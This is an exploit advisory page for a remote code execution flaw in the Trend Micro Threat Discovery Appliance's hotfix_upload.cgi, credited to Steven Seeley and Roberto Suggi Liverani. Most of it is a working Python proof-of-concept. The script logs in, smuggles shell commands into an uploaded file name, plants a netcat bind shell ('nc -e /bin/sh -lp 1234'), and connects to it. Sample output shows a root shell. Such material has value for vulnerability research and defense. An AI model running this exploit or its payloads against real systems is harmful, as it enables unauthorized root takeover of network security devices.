Trend Micro TDA 2.6.1062r1 hotfix_upload.cgi Remote Code Execution

2017.04.20
Credit: Steven Seeley
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

#!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Remote Code Execution Vulnerability Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== There exists a post authenticated upload vulnerability that can be used to execute arbitrary code. Notes: ====== - Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was take command, upload bd, exec, read, rinse, repeat. - You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the log_query_system.cgi was unstable. - Auth is bypassed, see the other case... Example: ======== saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py (+) usage: ./poc.py <target> <pass> (+) eg: ./poc.py 172.16.175.123 admin123 saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 172.16.175.123 admin (+) logged in... (+) executing bd... (+) sleeping for a sec... (+) calling backdoor! id uid=0(root) gid=0(root) uname -a Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown pwd /opt/TrendMicro/MinorityReport/www/cgi-bin ls pwn pwn cat pwn nc -e /bin/sh -lp 1234 """ import re import os import sys import time import requests import threading requests.packages.urllib3.disable_warnings() if len(sys.argv)!= 3: print "(+) usage: %s <target> <pass>" % sys.argv[0] print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0] sys.exit(-1) t = sys.argv[1] p = sys.argv[2] bu = "https://%s/" % t l_url = "%scgi-bin/logon.cgi" % bu u_url = "%scgi-bin/hotfix_upload.cgi?sID=" % bu # you need the sid thingy s = requests.Session() def pwn(s): """ This 'upload' will trigger the command 3 times... so if you exit the shell, you can come back another 2 times... """ # sorry k0rpr1t_z0mb1e, this requires no oob request kungfu = "si;S=`echo $PATH|cut -c1`;echo 'nc -e '$S'bin'$S'sh -lp 1234'>pwn;chmod 755 pwn;.`echo $S`pwn" u = { 'ajaxuploader_file': (kungfu, 'hax', 'text/plain'), } r = s.post(u_url, files=u, verify=False) # first we login... r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) if "frame.cgi" in r.text: print "(+) logged in..." print "(+) executing bd..." ut = threading.Thread(target=pwn, args=(s,)) ut.daemon = True ut.start() print "(+) sleeping for a sec..." time.sleep(1) print "(+) calling backdoor!" os.system("nc %s 1234" % t) else: print "(-) login failed" sys.exit(-1)


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